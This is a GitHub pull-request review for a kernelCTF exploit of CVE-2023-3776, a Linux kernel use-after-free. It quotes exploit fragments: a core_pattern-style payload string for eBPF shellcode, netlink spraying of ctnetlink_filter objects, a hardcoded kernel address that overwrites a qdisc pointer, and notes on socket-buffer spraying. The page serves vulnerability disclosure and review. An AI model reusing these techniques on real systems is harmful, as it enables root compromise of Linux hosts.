-
Notifications
You must be signed in to change notification settings - Fork 414
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Add kernelCTF CVE-2023-3776 (cos & mitigation) #49
Conversation
d8211d8
to
22b1cba
Compare
@koczkatamas we fix the comments already |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Hey! I've made a few change request. Please take a look at the individual comments and make the changes accordingly. Thank you!
char *core = (void *)mmap((void *)0xa00000, 0x2000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_FIXED | MAP_ANON, -1, 0); | ||
strcpy(core, "|/proc/%P/fd/666"); // put payload string into known address which will used by ebpf shellcode | ||
|
||
int sp = socket(0x10ul, 3ul, 0xc); // later use this socket to spray struct ctnetlink_filter |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Please use enum names instead of values (AF_NETLINK, SOCK_RAW, NETLINK_NETFILTER).
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
fixed
0x0000000100000000, 0x0001000000010010, | ||
0x0000000000000000}; | ||
|
||
size_t payment[] = { |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Please use a more expressive variable name, for example netlink_filter_payload
as there are multiple payloads are used in the exploit and it's easier to confuse them with eachother.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Done
0x0000000000000000}; | ||
|
||
size_t payment[] = { | ||
0x0201010100000024, 0x0000000000000000, 0x0008000800000000, 0x0015000858df0300, 0x00feffff}; |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Please make a comment here how you generated this payload. Optionally if there is a documentation to this structure format, it can be added as well.
It seems IIUC that you are using CTA_MARK
(0x08
) and CTA_MARK_MASK
(0x15
) attributes to set ctnetlink_filter.mark
field (at offset 0x60
) to 0xfffffe000003df58
(with two uint32 writes).
Relevant pahole -EC ctnetlink_filter mitigation-6.1-v2/vmlinux
:
struct ctnetlink_filter {
...
struct ctnetlink_filter_u32 {
/* typedef u32 -> __u32 */ unsigned int val; /* 96 4 */
/* typedef u32 -> __u32 */ unsigned int mask; /* 100 4 */
} mark; /* 96 8 */
...
};
Please add comment where the offset (0x60
) and address (0xfffffe000003df58
) comes from.
Relevant comment from the other exploit:
/* Try to overwrite struct drr_class's qdisc at offset 0x60 */
/* That address is at CPU#1 cpu_entry_area's entry_stack_page (stack address) while it try to push r15 in function error_entry*/
*(size_t*)&payload[0x60] = 0xfffffe000003df58;
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Done
|
||
filter = kzalloc(sizeof(*filter), GFP_KERNEL); | ||
... | ||
err = ctnetlink_parse_zone(cda[CTA_ZONE], &filter->zone); |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
It seems (see my other ctnetlink_filter
comment), that the payload is stored at offset 0x60
which is the mark
field which comes from CTA_MARK
and CTA_MARK_MASK
and not CTA_ZONE
or CTA_FILTER
.
If the above is correct, then please update the writeup to correctly reference the relevant code path
(otherwise it is misleading):
err = ctnetlink_filter_parse_mark(&filter->mark, cda);
if (err)
goto err_filter;
Please also mention that this technique requires CONFIG_NF_CONNTRACK_MARK
(+CONFIG_NETFILTER_ADVANCED
+ CONFIG_NETFILTER
) and allows 8-byte overwrite at offset 0x60.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Fixed
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Hey! Thanks for the changes! Meanwhile I asked 3 additional questions (see below), please take a quick look, but otherwise looks good! Thanks!
``` | ||
|
||
#### For Mitigation instance | ||
Because CONFIG_KMALLOC_SPLIT_VARSIZE is enable, we need to find a struct we can spray in kmalloc-128 fixed cache. We found out `struct ctnetlink_filter` is in the right cache. We can spray it and put payload. |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Why did you choose to use different method for LTS / COS too? This seems to be easier, wouldn't this work for LTS / COS too? Was this method discovered later?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
yes, I think it should work for COS too. it was discovered later. The thing is, this object is immediately freed in the same allocation path it will make somewhat unreliable than the sendmsg spray, but this is enough to overwrite the field that we want.
When packet sent to the network, it will enqueue to the network scheduler. If the packet match to our filter, then it will return our freed qdisc class. | ||
Qdisc class object contain qdisc object which used to enqueue packets to the respective network interface via function pointer. | ||
|
||
Snippet code if we use drr_class as target object as target object. |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Why did you choose to use drr_class
and not one of the other "class" options?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
In the making of this exploit, we can choose another "class" with another size that fits into some fixed size objects for spray control, we found ctnetlink_filter
in fixed size cache that fits with drr_class
's size.
int n = 0x800; | ||
setsockopt(sfd[i][1], SOL_SOCKET, SO_SNDBUF, (char *)&n, sizeof(n)); | ||
setsockopt(sfd[i][0], SOL_SOCKET, SO_RCVBUF, (char *)&n, sizeof(n)); | ||
write(sfd[i][1], buf, 0x1000); |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Why do you need this write
call? What would happen differently if you don't make this call? Would the exploit still work?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
We need to make socket send buffer is full, so the kernel will sleep in the 2nd sendmsg call after it allocates spray object from msg control data.
https://elixir.bootlin.com/linux/latest/source/net/unix/af_unix.c#L1953
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Looks good, thanks!
No description provided.